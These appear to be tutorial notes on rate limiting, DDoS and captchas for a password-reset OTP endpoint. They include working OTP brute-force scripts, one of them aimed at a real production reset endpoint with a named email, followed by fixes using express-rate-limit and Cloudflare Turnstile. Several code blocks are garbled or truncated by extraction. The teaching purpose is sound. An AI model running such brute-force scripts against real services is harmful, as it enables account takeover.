Why rate limitting

1. **Preventing Overload**: Rate limiting controls how often a user or system can make requests to a service. This helps prevent overuse of resources, ensuring that the system remains available and responsive for all users. For example, rate limiting can stop a single user from making thousands of login attempts in a minute, which could otherwise degrade service for others.
2. **Mitigating Abuse**: Without rate limiting, an application could be more susceptible to abuse such as brute force attacks on passwords or spamming behavior. By limiting how often someone can perform an action, it reduces the feasibility of such attacks.
3. **Managing Traffic**: In high-traffic scenarios, like ticket sales for a popular event, rate limiting can help manage the load on a server, preventing crashes and ensuring a fairer distribution of service like bandwidth or access to the purchasing system.
4. **DDoS Protection**: A DDoS attack involves overwhelming a site with a flood of traffic from multiple sources, which can make the website unavailable. DDoS protection mechanisms detect unusual traffic flows and can filter out malicious traffic, helping to keep the service operational despite the attack.

Common place to add rate limits

Ref - https://thehackernews.com/2016/03/hack-facebook-account.html

When you allow a user to `reset their password` using an OTP from their email, the following endpoint should be rate limited heavily

Implement a simple reset pass endpoint

1. Init a typescript project

```
npm init -y
npx tsc --init
```

1. Update tsconfig

```
"rootDir": "./src",
"outDir": "./dist"
```

1. Add deps

```
npm i express @types/express
```

1. Add the code

```
import express from 'express';

const app = express();
const PORT = 3000;

app.use(express.json());

                              ect
                              };
```

```
// Endpoint to generate and log OTP
 ›r
  c
```

```
  if (!email) {
    return res.status(400).json({ message: "Email is required" });
  }
  const otp = Math.floor(100000 + Math.random() * 900000).toString(); // gene
  otpStore[email] = otp;

  console.log(`OTP for ${email}: ${otp}`); // Log the OTP to the console
  res.status(200).json({ message: "OTP generated and logged" });
});

// Endpoint to reset password
app.post('/reset-password', (req, res) => {
  const { email, otp, newPassword } = req.body;
  if (!email || !otp || !newPassword) {
    return res.status(400).json({ message: "Email, OTP, and new password are re
  }
  if (otpStore[email] === otp) {
    console.log(`Password for ${email} has been reset to: ${newPassword}`);
    delete otpStore[email]; // Clear the OTP after use
    res.status(200).json({ message: "Password has been reset successfully" });
  } else {
    res.status(401).json({ message: "Invalid OTP" });
  }
});

app.listen(PORT, () => {
  console.log(`Server running on http://localhost:${PORT}`);
});
```

Hitting it via postman

Try hitting it with various OTPs one by one. Notice the server doesn't rate limit you

Exploiting the endpoint

Export Node.js code from Postman to hit the endpoint

1. Create a new folder (exploit-service)
2. Initialize simple ts project in it

```
npm init -y
npx tsc --init
```

1. Install dependencies

```
npm install axios
```

1. Add brute force logic to hit the server

```
import axios from "axios";

async function sendRequest(otp: number) {
  let data = JSON.stringify({
    "email": "harkirat@gmail.com",
    "otp": otp,
    "newPassword": "123123123"
  });

  let config = {
    method: 'post',
    maxBodyLength: Infinity,
    url: 'http://localhost:3000/reset-password',
```

```
                                  , "Not:A-Brand";v="8", "Chromium";v="12
```

```
      'Next-Router-State-Tree': '%5B%22%22%2C%7B%22children%22%3A%5B%22a
                                 tel Mac OS X 10_15_7) AppleWebKit/
      'Accept': 'text/x-component',
      'Referer': 'http://localhost:3000/admin',
      'Next-Action': 'a221b071140e55563e91a3226c508cb229c121f6',
      'sec-ch-ua-platform': '"macOS"',
      'Content-Type': 'application/json'
    },
    data: data
  };

  try {
    await axios.request(config)
    console.log("done for " + otp);
  } catch(e) {

  }
}

async function main() {
  for (let i = 0; i < 1000000; i+=100) {
    const promises = [];
    console.log("here for " + i);
    for (let j = 0; j < 100; j++) {
      promises.push(sendRequest(i + j))
    }
    await Promise.all(promises);
  }
}

main()
```

💡 We've added batching here and we're sending 100 req at a time

I production

Try resetting password on https://harkirat.classx.co.in

1. Go to the website
2. Put in a random users email
3. Send OTP
4. Try putting a random OTP

Exploiting it

- Copy over the request from the network tab as `curl`
- Paste it in Postman
- Send a request via postman
- Export the request
- Update the script to brute force on this endpoint

```
import axios from "axios";

async function sendRequest(otp: number) {
  let config = {
    method: 'get',
    maxBodyLength: Infinity,
    url: 'https://harkiratapi.classx.co.in/get/otpverify?useremail=harkirat.iitr%40g
    headers: {
      'accept': '*/*',
      'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8',
      'auth-key': 'appxapi',
      'client-service': 'Appx',
      'device-type': '',
      [illegible]

      'referer': 'https://harkirat.classx.co.in/',
      'sec-ch-ua': '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v=
      'sec-fetch-dest': 'empty',
      'sec-fetch-mode': 'cors',
      'sec-fetch-site': 'same-site',
      'source': 'website',
      'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/
    }
  };

  try {
    await axios.request(config);
  } catch (error) {
    console.error(error);
  }
}

async function main() {
  for (let i = 0; i < 1000000; i+=100) {
    const promises = [];
    console.log("here for " + i);
    for (let j = 0; j < 100; j++) {
      promises.push(sendRequest(i + j))
    }
    await Promise.all(promises);
  }
}

main()
```

You'll get `rate limitted`

Saving the endpoint

Ref https://www.npmjs.com/package/express-rate-limit

Update the code

1. Add dependency

```
npm i express-rate-limit
```

2. Update code

```
import express from 'express';
import rateLimit from 'express-rate-limit';

const app = express();
const PORT = 3000;

app.use(express.json());

// Rate limiter configuration
const otpLimiter = rateLimit({
  windowMs: 5 * 60 * 1000, // 5 minutes
  max: 3, // Limit each IP to 3 OTP requests per windowMs
  message: 'Too many requests, please try again after 5 minutes',
  standardHeaders: true, // Return rate limit info in the `RateLimit-*` headers
  legacyHeaders: false, // Disable the `X-RateLimit-*` headers
});

const passwordResetLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 5, // Limit each IP to 5 password reset requests per windowMs
  message: 'Too many password reset attempts, please try again after 15 min
  standardHeaders: true,
  legacyHeaders: false,
});

// Store OTPs in a simple in-memory object
const otpStore: Record<string, string> = {};

                                        rate limiting
```

```
app.post('/generate-otp', otpLimiter, (req, res) => {
  c
  c     Rate limitting, DDoS and Captcha  1 of 10
  if (!email) {
    return res.status(400).json({ message: "Email is required" });
  }
  const otp = Math.floor(100000 + Math.random() * 900000).toString(); // gen
  otpStore[email] = otp;

  console.log(`OTP for ${email}: ${otp}`); // Log the OTP to the console
  res.status(200).json({ message: "OTP generated and logged" });
});

// Endpoint to reset password with rate limiting
app.post('/reset-password', passwordResetLimiter, (req, res) => {
  const { email, otp, newPassword } = req.body;

  if (!email || !otp || !newPassword) {
    return res.status(400).json({ message: "Email, OTP, and new password are
  }
  if (Number(otpStore[email]) === Number(otp)) {
    console.log(`Password for ${email} has been reset to: ${newPassword}`);
    delete otpStore[email]; // Clear the OTP after use
    res.status(200).json({ message: "Password has been reset successfully" })
  } else {
    res.status(401).json({ message: "Invalid OTP" });
  }
});

app.listen(PORT, () => {
  console.log(`Server running on http://localhost:${PORT}`);
});
```

Problem?

Your server is still vulnerable to DDoS

Though DDoS is rarely used for password reset, it is usually used to choke a server

Why do attackers to DDoS -

1. To charge ransom because the service remains down until DDoS is lifted
2. On sneaker drop events/NFT mints where the faster the request reaches the server the better

How can you save your reset password endpoint?

1. You can implement logic that only 3 resets are allowed per email sent out
2. You can implement `captcha` logic

Captchas

Captchas are a great-sh solution to making sure the request was sent by a human and not by a machine

There are various freely available captchas, Cloudflare Turnstile is one of them

s via cloudflare

- Add a new site to turnstile
- Keep your site key and site secret safe
- Create a react project
- Add https://github.com/marsidev/react-turnstile
- Update `App.tsx`

```
import { Turnstile } from '@marsidev/react-turnstile'

import './App.css'
import axios from 'axios'
import { useState } from 'react'

function App() {
  const [token, setToken] = useState<string>("")

  return (
    <>
      <input placeholder='OTP'></input>
      <input placeholder='New password'></input>

      <Turnstile onSuccess={(token) => {
        setToken(token)
      }} siteKey='0x4AAAAAAAXtEe2JIeAEUcjX' />

      <button onClick={() => {
        axios.post("http://localhost:3000/reset-password", {
          email: "harkirat@gmail.com",
          otp: "123456",
          token: token,
        })
      }}>Update password</button>


}
```

- Update the backend code

```
import express from 'express';
import cors from "cors";

const SECRET_KEY = "your_site_secret";

const app = express();
const PORT = 3000;

app.use(express.json());
app.use(cors());

// Store OTPs in a simple in-memory object
const otpStore: Record<string, string> = {};

// Endpoint to generate and log OTP
app.post('/generate-otp', (req, res) => {
  console.log(req.body)
  const email = req.body.email;
  if (!email) {
    return res.status(400).json({ message: "Email is required" });
  }
  const otp = Math.floor(100000 + Math.random() * 900000).toString(); // gene
  otpStore[email] = otp;

  console.log(`OTP for ${email}: ${otp}`); // Log the OTP to the console
  res.status(200).json({ message: "OTP generated and logged" });
});

// Endpoint to reset password
app.post('/reset-password', async (req, res) => {
  const { email, otp, newPassword, token } = req.body;
  console.log(token);

  let formData = new FormData();
    formData.append('secret', SECRET_KEY);
    formData.append('response', token);

  const url = 'https://challenges.cloudflare.com/turnstile/v0/siteverify';
```

```
    const result = await fetch(url, {

    });
  const challengeSucceeded = (await result.json()).success;

  if (!challengeSucceeded) {
    return res.status(403).json({ message: "Invalid reCAPTCHA token" });
  }

  if (!email || !otp || !newPassword) {
    return res.status(400).json({ message: "Email, OTP, and new password are re
  }
  if (Number(otpStore[email]) === Number(otp)) {
    console.log(`Password for ${email} has been reset to: ${newPassword}`);
    delete otpStore[email]; // Clear the OTP after use
    res.status(200).json({ message: "Password has been reset successfully" });
  } else {
    res.status(401).json({ message: "Invalid OTP" });
  }
});

app.listen(PORT, () => {
  console.log(`Server running on http://localhost:${PORT}`);
});
```

DDoS protection in prod

1. Move your domain to cloudflare

💡 This is usually more than good enough, but if you'd like to dive further, you can add IP based rate limits, override DDoS in the security section of cloudflare
AWS/GCP also provide you with the same